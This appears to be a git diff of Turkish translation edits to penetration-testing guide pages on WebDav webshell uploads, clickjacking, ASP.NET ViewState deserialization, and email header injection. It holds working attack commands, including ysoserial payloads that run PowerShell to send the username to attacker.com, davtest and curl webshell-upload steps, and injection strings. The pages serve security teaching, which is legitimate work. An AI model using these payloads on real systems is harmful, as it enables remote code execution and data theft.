mümkündür; bu genellikle **HTTP Temel Kimlik Doğrulaması** ile doğrulanır. Böyle bir sunucu üzerinde kontrol sağlamak genellikle **bir webshell'in yüklenmesi ve çalıştırılması** ile ilgilidir. +**WebDav** etkin bir **HTTP Sunucusu** ile çalışırken, doğru **kimlik bilgilerine** sahip olduğunuzda **dosyaları manipüle etmek** mümkündür; bu genellikle **HTTP Temel Kimlik Doğrulaması** ile doğrulanır. Böyle bir sunucu üzerinde kontrol sağlamak genellikle bir **webshell yükleme ve çalıştırma** işlemini içerir. WebDav sunucusuna erişim genellikle **geçerli kimlik bilgileri** gerektirir; [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) bunları elde etmenin yaygın bir yöntemidir. @@ -14,18 +14,18 @@ Dosya yükleme kısıtlamalarını aşmak için, özellikle sunucu tarafı betik ## DavTest -**Davtest**, **farklı uzantılara sahip birkaç dosya yüklemeyi** dener ve uzantının **çalıştırılıp çalıştırılmadığını kontrol eder**: +**Davtest**, **farklı uzantılara sahip birkaç dosya yüklemeyi** dener ve uzantının **çalıştırılıp çalıştırılmadığını kontrol eder:** ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension ``` ![](<../../images/image (851).png>) -Bu, **.txt** ve **.html uzantılarının çalıştırıldığı** anlamına gelmez. Bu, **bu dosyalara** web üzerinden **erişebileceğiniz** anlamına gelir. +Bu, **.txt** ve **.html uzantılarının çalıştırıldığı** anlamına gelmez. Bu, web üzerinden **bu dosyalara erişebileceğiniz** anlamına gelir. ## Cadaver -Bu aracı **WebDav** sunucusuna **bağlanmak** ve işlemleri (örneğin **yükleme**, **taşıma** veya **silme**) **manuel olarak** gerçekleştirmek için kullanabilirsiniz. +Bu aracı **WebDav** sunucusuna bağlanmak ve işlemleri (örneğin **yükleme**, **taşıma** veya **silme**) **manuel olarak** gerçekleştirmek için kullanabilirsiniz. ``` cadaver ``` @@ -39,16 +39,16 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Açığı -Bu açık çok ilginç. **WebDav**, **.asp** uzantılı dosyaların **yüklenmesine** veya **yeniden adlandırılmasına** **izin vermez**. Ancak, ismin sonuna **";.txt"** ekleyerek bunu **aşabilirsiniz** ve dosya, bir .asp dosyasıymış gibi **çalıştırılacaktır** (aynı zamanda **".txt" yerine ".html"** de **kullanabilirsiniz** ama **";"yı unutmayın**). +Bu açık çok ilginç. **WebDav**, **.asp** uzantılı dosyaların **yüklenmesine** veya **yeniden adlandırılmasına** **izin vermez**. Ancak, ismin sonuna **";.txt"** ekleyerek bu durumu **aşabilirsiniz** ve dosya, bir .asp dosyasıymış gibi **çalıştırılacaktır** (aynı zamanda **".txt" yerine ".html"** de **kullanabilirsiniz** ama **";"yı unutmayın**). -Sonra, shell'inizi bir ".**txt" dosyası** olarak **yükleyebilir** ve onu bir ".asp;.txt" dosyasına **kopyalayabilir/hareket ettirebilirsiniz**. O dosyaya web sunucusu üzerinden eriştiğinizde, **çalıştırılacaktır** (cadaver, taşıma işleminin çalışmadığını söyleyecektir ama çalıştı). +Sonra, shell'inizi bir ".**txt" dosyası** olarak **yükleyebilir** ve onu bir ".asp;.txt" dosyasına **kopyalayabilir/hareket ettirebilirsiniz**. Web sunucusu üzerinden o dosyaya eriştiğinizde, **çalıştırılacaktır** (cadaver, taşıma işleminin çalışmadığını söyleyecektir, ama çalıştı). ![](<../../images/image (1092).png>) ## Post kimlik bilgileri Eğer Webdav bir Apache sunucusu kullanıyorsa, Apache'de yapılandırılmış sitelere bakmalısınız. Genellikle:\ -\&#xNAN;_**/etc/apache2/sites-enabled/000-default**_ +\_**/etc/apache2/sites-enabled/000-default**_ İçinde şöyle bir şey bulabilirsiniz: ``` @@ -65,7 +65,7 @@ Gördüğünüz gibi, **webdav** sunucusu için geçerli **credentials** içeren ``` /etc/apache2/users.password ``` -Bu tür dosyaların içinde **kullanıcı adı** ve şifrenin bir **hash**'ini bulacaksınız. Bunlar, webdav sunucusunun kullanıcıları kimlik doğrulamak için kullandığı kimlik bilgileri. +Bu tür dosyaların içinde **kullanıcı adı** ve şifrenin bir **hash**'ini bulacaksınız. Bunlar, webdav sunucusunun kullanıcıları kimlik doğrulamak için kullandığı kimlik bilgileridir. Onları **kırmayı** deneyebilir veya bir nedenle **webdav** sunucusuna **erişmek** istiyorsanız **daha fazla** ekleyebilirsiniz: ```bash diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 40df01b1a..fa69620b0 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -12,7 +12,7 @@ Bazen bir sayfa yüklenirken **GET parametrelerini kullanarak bir formun alanlar ### Sürükle ve Bırak ile Form Doldurma -Kullanıcının bir **formu doldurmasını** istiyorsanız ancak ona bazı özel bilgileri (bilgilerinizi bildiğiniz e-posta veya şifre gibi) doğrudan yazmasını istemiyorsanız, ona sadece **Sürükle ve Bırak** yapmasını isteyebilirsiniz; bu, kontrol ettiğiniz verileri yazacaktır, tıpkı [**bu örnekteki**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) gibi. +Kullanıcının bir **formu doldurmasını** istiyorsanız ancak ona bazı özel bilgileri (örneğin, bildiğiniz e-posta ve/veya özel şifre) yazmasını doğrudan istemek istemiyorsanız, ona sadece **Sürükle ve Bırak** yapmasını isteyebilirsiniz; bu, kontrol ettiğiniz verileri yazacaktır, tıpkı [**bu örnekteki**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) gibi. ### Temel Yük ```markup @@ -58,7 +58,7 @@ left:210px;
Click me next
``` -### Sürükle\&Bırak + Tıklama yükü +### Drag\&Drop + Click yükü ```markup @@ -89,10 +89,10 @@ background: #F00; ``` ### XSS + Clickjacking -Eğer bir **kullanıcının tıklamasını gerektiren bir XSS saldırısı** tespit ettiyseniz ve sayfa **clickjacking'e karşı savunmasızsa**, bunu kullanarak kullanıcıyı butona/bağlantıya tıklamaya kandırabilirsiniz.\ +Eğer bir **kullanıcının tıklamasını gerektiren bir XSS saldırısı** tespit ettiyseniz ve sayfa **clickjacking'e karşı savunmasızsa**, kullanıcıyı butona/bağlantıya tıklamaya kandırmak için bunu kötüye kullanabilirsiniz.\ Örnek:\ -&#xNAN;_You, hesabın bazı özel detaylarında bir **self XSS** buldunuz (bu detayları **sadece siz ayarlayabilir ve okuyabilirsiniz**). Bu detayları ayarlamak için **form** içeren sayfa **Clickjacking'e karşı savunmasız** ve **formu** GET parametreleri ile **önceden doldurabilirsiniz**._\ -\_\_Bir saldırgan, o sayfa için **Clickjacking** saldırısı hazırlayarak **formu** **XSS yükü** ile **önceden doldurup** **kullanıcıyı** formu **göndermeye** kandırabilir. Böylece, **form gönderildiğinde** ve değerler değiştirildiğinde, **kullanıcı XSS'i çalıştıracaktır**. +_You, hesabın bazı özel detaylarında bir **self XSS** buldunuz (bu detayları **sadece sizin ayarlayıp okuyabileceğiniz**). Bu detayları ayarlamak için kullanılan **form** **Clickjacking'e karşı savunmasız** ve **formu** GET parametreleri ile **önceden doldurabilirsiniz**._\ +\_\_Bir saldırgan, o sayfa için **Clickjacking** saldırısı hazırlayarak **formu** **XSS yükü** ile **önceden doldurup** **kullanıcıyı** formu **göndermeye** **kandırabilir**. Böylece, **form gönderildiğinde** ve değerler değiştirildiğinde, **kullanıcı XSS'i çalıştıracaktır**. ## Clickjacking'i Azaltma Stratejileri @@ -115,7 +115,7 @@ id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"> ``` -`allow-forms` ve `allow-scripts` değerleri, iframe içinde eylemleri etkinleştirirken üst düzey navigasyonu devre dışı bırakır. Hedeflenen sitenin beklenen işlevselliğini sağlamak için, saldırı türüne bağlı olarak `allow-same-origin` ve `allow-modals` gibi ek izinler gerekli olabilir. Tarayıcı konsol mesajları, hangi izinlerin verilmesi gerektiği konusunda rehberlik edebilir. +`allow-forms` ve `allow-scripts` değerleri, üst düzey navigasyonu devre dışı bırakırken iframe içinde eylemleri etkinleştirir. Hedeflenen sitenin istenen işlevselliğini sağlamak için, saldırı türüne bağlı olarak `allow-same-origin` ve `allow-modals` gibi ek izinler gerekli olabilir. Tarayıcı konsol mesajları, hangi izinlerin verilmesi gerektiği konusunda rehberlik edebilir. ### Sunucu Tarafı Savunmaları @@ -178,9 +178,9 @@ if (top !== self) { top.location = self.location } ``` -#### Anti-CSRF Tokenları Kullanma +#### Anti-CSRF Token'ların Kullanımı -- **Token Doğrulama:** Web uygulamalarında anti-CSRF tokenları kullanarak, durum değiştiren isteklerin kullanıcının kasıtlı olarak yapıldığından ve Clickjacked bir sayfa aracılığıyla yapılmadığından emin olun. +- **Token Doğrulama:** Web uygulamalarında anti-CSRF token'ları kullanarak, durum değiştiren isteklerin kullanıcının kasıtlı olarak yapıldığından ve Clickjacked bir sayfa aracılığıyla yapılmadığından emin olun. ## Referanslar diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index ac41b90a6..e30ff9637 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -1,8 +1,8 @@ -# __VIEWSTATE Parametresini Bilmeden Sömürmek +# Exploiting \_\_VIEWSTATE without knowing the secrets {{#include ../../banners/hacktricks-training.md}} -## ViewState Nedir +## What is ViewState **ViewState**, ASP.NET'te web sayfaları arasında sayfa ve kontrol verilerini korumak için varsayılan mekanizma olarak hizmet eder. Bir sayfanın HTML'si işlenirken, sayfanın mevcut durumu ve bir postback sırasında korunması gereken değerler base64 kodlu dizelere serileştirilir. Bu dizeler daha sonra gizli ViewState alanlarına yerleştirilir. @@ -10,27 +10,27 @@ ViewState bilgileri aşağıdaki özellikler veya bunların kombinasyonları ile - **Base64**: - Bu format, hem `EnableViewStateMac` hem de `ViewStateEncryptionMode` öznitelikleri false olarak ayarlandığında kullanılır. -- **Base64 + MAC (Mesaj Kimlik Doğrulama Kodu) Etkin**: +- **Base64 + MAC (Mesaj Doğrulama Kodu) Etkin**: - MAC'in etkinleştirilmesi, `EnableViewStateMac` özniteliğinin true olarak ayarlanmasıyla sağlanır. Bu, ViewState verileri için bütünlük doğrulaması sağlar. -- **Base64 + Şifreli**: +- **Base64 + Şifrelenmiş**: - Şifreleme, `ViewStateEncryptionMode` özniteliği true olarak ayarlandığında uygulanır ve ViewState verilerinin gizliliğini sağlar. -## Test Durumları +## Test Cases Görüntü, .NET framework sürümüne göre ASP.NET'teki ViewState için farklı yapılandırmaları detaylandıran bir tabloyu içermektedir. İşte içeriğin özeti: -1. **Herhangi bir .NET sürümü için**, hem MAC hem de Şifreleme devre dışı bırakıldığında, bir MachineKey gerekli değildir ve dolayısıyla bunu tanımlamak için geçerli bir yöntem yoktur. -2. **4.5'ten düşük sürümler için**, eğer MAC etkinleştirilmiş ancak Şifreleme değilse, bir MachineKey gereklidir. MachineKey'i tanımlama yöntemi "Blacklist3r" olarak adlandırılır. -3. **4.5'ten düşük sürümler için**, MAC etkinleştirilmiş veya devre dışı bırakılmış olsun, eğer Şifreleme etkinse, bir MachineKey gereklidir. MachineKey'i tanımlamak "Blacklist3r - Gelecek Geliştirme" için bir görevdir. -4. **4.5 ve üzeri sürümler için**, MAC ve Şifrelemenin tüm kombinasyonları (her ikisi de true, ya da biri true diğeri false) bir MachineKey gerektirir. MachineKey "Blacklist3r" kullanılarak tanımlanabilir. +1. **Herhangi bir .NET sürümü** için, hem MAC hem de Şifreleme devre dışı bırakıldığında, bir MachineKey gerekli değildir ve dolayısıyla bunu tanımlamak için geçerli bir yöntem yoktur. +2. **4.5'ten düşük sürümler** için, eğer MAC etkinleştirilmiş ancak Şifreleme değilse, bir MachineKey gereklidir. MachineKey'i tanımlama yöntemi "Blacklist3r" olarak adlandırılır. +3. **4.5'ten düşük sürümler** için, MAC etkinleştirilmiş veya devre dışı bırakılmış olsun, eğer Şifreleme etkinse, bir MachineKey gereklidir. MachineKey'i tanımlamak "Blacklist3r - Gelecek Geliştirme" için bir görevdir. +4. **4.5 ve üzeri sürümler** için, MAC ve Şifreleme'nin tüm kombinasyonları (her ikisi de true, ya da biri true diğeri false) bir MachineKey gerektirir. MachineKey "Blacklist3r" kullanılarak tanımlanabilir. -### Test Durumu: 1 – EnableViewStateMac=false ve viewStateEncryptionMode=false +### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false -ViewStateMAC'i tamamen devre dışı bırakmak için `AspNetEnforceViewStateMac` kayıt defteri anahtarını sıfıra ayarlamak da mümkündür: +ViewStateMAC'i tamamen devre dışı bırakmak da mümkündür; `AspNetEnforceViewStateMac` kayıt defteri anahtarını sıfıra ayarlayarak: ``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} ``` -**ViewState Özelliklerini Belirleme** +**ViewState Niteliklerini Belirleme** ViewState'in MAC ile korunup korunmadığını belirlemek için BurpSuite ile bu parametreyi içeren bir isteği yakalamayı deneyebilirsiniz. Eğer parametreyi korumak için Mac kullanılmıyorsa, bunu [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) kullanarak istismar edebilirsiniz. ``` @@ -40,11 +40,11 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power Geliştiriciler **ViewState**'i bir HTTP İsteğinin parçası olmaktan **kaldırabilir** (kullanıcı bu çerezi almayacaktır).\ Eğer **ViewState** **mevcut değilse**, uygulamalarının **ViewState deserialization** ile ortaya çıkabilecek potansiyel zafiyetlerden **güvenli** olduğu varsayılabilir.\ -Ancak durum böyle değil. Eğer isteğin gövdesine **ViewState parametresi** ekler ve ysoserial kullanarak oluşturduğumuz serileştirilmiş yükü gönderirsek, **Case 1**'de gösterildiği gibi **kod yürütme** gerçekleştirebileceğiz. +Ancak durum böyle değil. Eğer isteğin gövdesine **ViewState parametresi** ekler ve ysoserial kullanarak oluşturduğumuz serileştirilmiş yükü gönderirsek, **Case 1**'de gösterildiği gibi **kod yürütme** elde edebileceğiz. ### Test Case: 2 – .Net < 4.5 ve EnableViewStateMac=true & ViewStateEncryptionMode=false -**Belirli bir sayfa** için **ViewState MAC**'i **etkinleştirmek** amacıyla belirli bir aspx dosyasında aşağıdaki değişiklikleri yapmamız gerekiyor: +Belirli bir **sayfa** için **ViewState MAC**'i **etkinleştirmek** amacıyla belirli bir aspx dosyasında aşağıdaki değişiklikleri yapmamız gerekiyor: ```bash <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%> ``` @@ -59,7 +59,7 @@ Aşağıda gösterildiği gibi **web.config** dosyasında ayarlayarak **genel** ``` -Parametre bu sefer MAC ile korunmaktadır, bu nedenle saldırıyı başarıyla gerçekleştirmek için öncelikle kullanılan anahtara ihtiyacımız var. +Parametre bu sefer MAC ile korunduğundan, saldırıyı başarıyla gerçekleştirmek için öncelikle kullanılan anahtara ihtiyacımız var. Kullanılan anahtarı bulmak için [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) kullanmayı deneyebilirsiniz. ``` @@ -68,7 +68,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M --encrypteddata : __VIEWSTATE parameter value of the target application --modifier : __VIWESTATEGENERATOR parameter value ``` -[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) bilinen machineKey'leri tanımlayabilen başka bir araçtır. Python ile yazılmıştır, bu nedenle Blacklist3r'ın aksine Windows bağımlılığı yoktur. .NET viewstate'leri için "python blacklist3r" aracı bulunmaktadır, bu da onu kullanmanın en hızlı yoludur. +[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) bilinen machineKey'leri tanımlayabilen başka bir araçtır. Python ile yazılmıştır, bu nedenle Blacklist3r'dan farklı olarak Windows bağımlılığı yoktur. .NET viewstate'leri için "python blacklist3r" aracı bulunmaktadır, bu da onu kullanmanın en hızlı yoludur. Viewstate ve generator doğrudan sağlanabilir: ``` @@ -88,19 +88,19 @@ python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx ``` ![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png) -Kapsamlı bir şekilde savunmasız viewstate'leri aramak için, alt alan adı sayımı ile birlikte, `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) modülü kullanılabilir: +Kapsamlı bir şekilde savunmasız viewstate'leri aramak için, alt alan adları belirleme ile birlikte, `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) modülü kullanılabilir: ``` bbot -f subdomain-enum -m badsecrets -t evil.corp ``` ![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png) -Eğer şanslıysanız ve anahtar bulunursa, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** ile saldırıya devam edebilirsiniz. +Eğer şanslıysanız ve anahtar bulunursa, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** ile saldırıya devam edebilirsiniz: ``` ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" --generator = {__VIWESTATEGENERATOR parameter value} ``` -Sunucu tarafından `_VIEWSTATEGENERATOR` parametresi **gönderilmediğinde** `--generator` parametresini **sağlamanıza** **gerek yoktur**; ancak bunları **sağlamanız** gerekir: +Sunucu tarafından `_VIEWSTATEGENERATOR` parametresi **gönderilmediğinde** `--generator` parametresini **sağlamanıza** **gerek yoktur** ama bunları **sağlamanız** gerekir: ```bash --apppath="/" --path="/hello.aspx" ``` @@ -110,11 +110,11 @@ Bu durumda, parametrenin MAC ile korunup korunmadığı bilinmemektedir. Bu duru **Bu durumda** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modülü geliştirilme aşamasındadır...** -**.NET 4.5'ten önce**, ASP.NET, **`ViewStateEncryptionMode`** _**Her Zaman**_ olarak ayarlanmış olsa bile, kullanıcılardan **şifrelenmemiş** \_`__VIEWSTATE`\_ parametresini **kabul edebilir**. ASP.NET, yalnızca istekte **`__VIEWSTATEENCRYPTED`** parametresinin **varlığını kontrol eder**. **Bu parametre kaldırılırsa ve şifrelenmemiş yük gönderilirse, yine de işlenir.** +**.NET 4.5'ten önce**, ASP.NET **şifrelenmemiş** \_`__VIEWSTATE`\_ parametresini kullanıcılarından **kabul edebilir**; **`ViewStateEncryptionMode`** _**Her Zaman**_ olarak ayarlanmış olsa bile. ASP.NET **yalnızca** istekteki **`__VIEWSTATEENCRYPTED`** parametresinin **varlığını kontrol eder**. **Bu parametre kaldırılırsa ve şifrelenmemiş yük gönderilirse, yine de işlenir.** -Bu nedenle, saldırganlar dosya gezintisi gibi başka bir açık aracılığıyla Makine Anahtarını bulurlarsa, **Case 2**'de kullanılan [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komutu, ViewState serileştirme açığını kullanarak RCE gerçekleştirmek için kullanılabilir. +Bu nedenle, saldırganlar dosya gezintisi gibi başka bir zafiyet aracılığıyla Makine Anahtarını bulurlarsa, **Case 2**'de kullanılan [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komutu, ViewState serileştirme açığını kullanarak RCE gerçekleştirmek için kullanılabilir. -- ViewState serileştirme açığını istismar etmek için istekte `__VIEWSTATEENCRYPTED` parametresini kaldırın, aksi takdirde bir Viewstate MAC doğrulama hatası dönecek ve istismar başarısız olacaktır. +- ViewState serileştirme açığını istismar etmek için istekteki `__VIEWSTATEENCRYPTED` parametresini kaldırın, aksi takdirde bir Viewstate MAC doğrulama hatası dönecek ve istismar başarısız olacaktır. ### Test Case: 4 – .Net >= 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true/false, her iki özellik de false dışında @@ -122,11 +122,11 @@ Aşağıdaki parametreyi web.config dosyasının içine belirterek ASP.NET çer ```xml ``` -Alternatif olarak, bu, web.config dosyasındaki `machineKey` parametresinin içine aşağıdaki seçeneği belirterek yapılabilir. +Alternatif olarak, bu `web.config` dosyasının `machineKey` parametresinin içine aşağıdaki seçeneği belirterek yapılabilir. ```bash compatibilityMode="Framework45" ``` -Öncekilerde olduğu gibi **değer şifrelenmiştir.** Ardından, **geçerli bir yük göndermek için saldırganın anahtara ihtiyacı vardır.** +Öncekilerde olduğu gibi **değer şifrelenmiştir.** Bu nedenle, **geçerli bir yük göndermek için saldırganın anahtara ihtiyacı vardır.** Kullanılan anahtarı bulmak için [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) kullanmayı deneyebilirsiniz: ``` @@ -149,13 +149,13 @@ Geçerli bir Machine key belirlendikten sonra, **bir seri hale getirilmiş yük ``` ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" ``` -Eğer `__VIEWSTATEGENERATOR` değerine sahipseniz, o değeri kullanarak `--generator` parametresini **kullanmayı** deneyebilir ve `--path` ile `--apppath` parametrelerini **hariç tutabilirsiniz**. +Eğer `__VIEWSTATEGENERATOR` değerine sahipseniz, bu değeri kullanarak `--generator` parametresini **kullanmayı** deneyebilir ve `--path` ile `--apppath` parametrelerini **hariç tutabilirsiniz**. ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) ViewState deserialization zafiyetinin başarılı bir şekilde istismar edilmesi, kullanıcı adını içeren bir saldırgan kontrolündeki sunucuya dışarıdan bir isteğe yol açacaktır. Bu tür bir istismar, "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" başlıklı bir kaynakta bulunan bir kanıt konsepti (PoC) ile gösterilmektedir. İstismar sürecinin nasıl çalıştığı ve MachineKey'i tanımlamak için Blacklist3r gibi araçların nasıl kullanılacağı hakkında daha fazla bilgi için sağlanan [Başarılı İstismar PoC'sini](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) inceleyebilirsiniz. -### Test Durumu 6 – ViewStateUserKeys kullanılıyor +### Test Case 6 – ViewStateUserKeys kullanılıyor **ViewStateUserKey** özelliği, **CSRF saldırısına** karşı **savunma** yapmak için kullanılabilir. Eğer uygulamada böyle bir anahtar tanımlanmışsa ve şimdiye kadar tartışılan yöntemlerle **ViewState** yükünü oluşturmaya çalışırsak, **yük uygulama tarafından işlenmeyecektir**.\ Yükü doğru bir şekilde oluşturmak için bir parametre daha kullanmanız gerekiyor: @@ -164,17 +164,15 @@ Yükü doğru bir şekilde oluşturmak için bir parametre daha kullanmanız ger ``` ### Başarılı Bir Sömürü Sonucu -Tüm test senaryolarında, ViewState YSoSerial.Net yükü **başarıyla** çalışıyorsa, sunucu “**500 Internal server error**” yanıtı verir ve yanıt içeriği “**Bu sayfa için durum bilgisi geçersiz ve bozulmuş olabilir**” şeklindedir ve OOB isteğini alırız. +Tüm test senaryolarında, eğer ViewState YSoSerial.Net yükü **başarıyla** çalışıyorsa, sunucu “**500 Internal server error**” ile yanıt verir ve yanıt içeriği “**Bu sayfa için durum bilgisi geçersiz ve bozulmuş olabilir**” şeklindedir ve OOB isteğini alırız. Daha fazla bilgi için [buraya bakın]() ## Referanslar - [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) -- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\ +- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) - [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) - [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) - - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/email-injections.md b/src/pentesting-web/email-injections.md index 39ac66466..d4af54539 100644 --- a/src/pentesting-web/email-injections.md +++ b/src/pentesting-web/email-injections.md @@ -16,7 +16,7 @@ From:sender@domain.com%0ATo:attacker@domain.com ``` Mesaj, orijinal alıcıya ve saldırgan hesabına gönderilecektir. -### Subject argümanını Enjekte Et +### Inject Subject argument ``` From:sender@domain.com%0ASubject:This is%20Fake%20Subject ``` @@ -54,7 +54,7 @@ Bir saldırgan, bu durumda **sendmail için ek parametreler enjekte edebilir**. #### /usr/sbin/sendmail uygulamasındaki farklılıklar -**sendmail** arayüzü, sistemde kurulu olan MTA e-posta yazılımı (Sendmail, Postfix, Exim vb.) tarafından **sağlanmaktadır**. **Temel işlevsellik** (örneğin -t -i -f parametreleri) uyumluluk nedenleriyle **aynı** kalırken, **diğer işlevler ve parametreler** kurulu MTA'ya bağlı olarak büyük ölçüde değişiklik göstermektedir. +**sendmail** arayüzü, sistemde kurulu olan **MTA e-posta yazılımı** (Sendmail, Postfix, Exim vb.) tarafından **sağlanmaktadır**. **Temel işlevsellik** (örneğin -t -i -f parametreleri) uyumluluk nedenleriyle **aynı** kalırken, **diğer işlevler ve parametreler** kurulu MTA'ya bağlı olarak büyük ölçüde değişiklik göstermektedir. İşte sendmail komutu/arayüzünün farklı man sayfalarına birkaç örnek: @@ -62,16 +62,16 @@ Bir saldırgan, bu durumda **sendmail için ek parametreler enjekte edebilir**. - Postfix MTA: http://www.postfix.org/mailq.1.html - Exim MTA: https://linux.die.net/man/8/eximReferences -**sendmail** ikilisinin kökenine bağlı olarak, bunları kötüye kullanmak ve **dosyaları sızdırmak veya hatta rastgele komutlar çalıştırmak** için farklı seçenekler keşfedilmiştir. Nasıl olduğunu kontrol edin [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) +**sendmail** ikilisinin kökenine bağlı olarak, bunları kötüye kullanmak ve **dosyaları sızdırmak veya hatta rastgele komutlar çalıştırmak için** farklı seçenekler keşfedilmiştir. Nasıl olduğunu kontrol edin [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) ## E-posta adında enjekte et > [!CAUTION] -> Eğer rastgele bir alan adıyla (Github, Gitlab, CloudFlare Zero trust gibi) bir hizmette hesap oluşturmayı başarır ve doğrulama e-postasını alarak bunu doğrularsanız, kurban şirketin hassas alanlarına erişim sağlayabilirsiniz. +> Eğer rastgele bir alan adıyla (Github, Gitlab, CloudFlare Zero trust...) bir hizmette hesap oluşturmayı başarır ve doğrulama e-postasını mail adresinize alarak doğruladıysanız, kurban şirketin hassas alanlarına erişim sağlayabilirsiniz. ### Bir e-postanın göz ardı edilen kısımları -**+, -** ve **{}** sembolleri nadir durumlarda etiketleme için kullanılabilir ve çoğu e-posta sunucusu tarafından göz ardı edilir. +**+, -** ve **{}** sembolleri nadir durumlarda etiketleme için kullanılabilir ve çoğu e-posta sunucusu tarafından göz ardı edilebilir. - Ör. john.doe+intigriti@example.com → john.doe@example.com @@ -137,10 +137,10 @@ x@xn--svg/-9x6 → x@` işaretine `=3e` ve `null` değerine `=00` olarak dikkat edin. +- Kodlanmış `@` işaretini =40, kodlanmış `>` işaretini `=3e` ve `null` değerini `=00` olarak not edin. - Doğrulama e-postası `collab@psres.net` adresine gönderilecektir. - Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com` -- Önceki hileyle aynı ama başına bazı normal tırnak ekleyerek ve kodlanmış tırnak `=22` ekleyerek kodlanmış `@` işaretinden önce ve ardından bir sonraki e-posta için bazı tırnakları açıp kapatarak Zendesk'in dahili olarak kullandığı sözdizimini düzeltir. +- Önceki hileyle aynı ama başına bazı normal tırnak ekleyip kodlanmış tırnağı `=22` kodlanmış `@` işaretinden önce ekleyerek ve ardından bir sonraki e-posta için bazı tırnakları açıp kapatarak Zendesk'in dahili olarak kullandığı sözdizimini düzeltmek. - Doğrulama e-postası `collab@psres.net` adresine gönderilecektir. - Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com` - Adresi ayırmak için alt çizgi kullanımına dikkat edin. @@ -160,16 +160,16 @@ Payloadlar: ### XSS 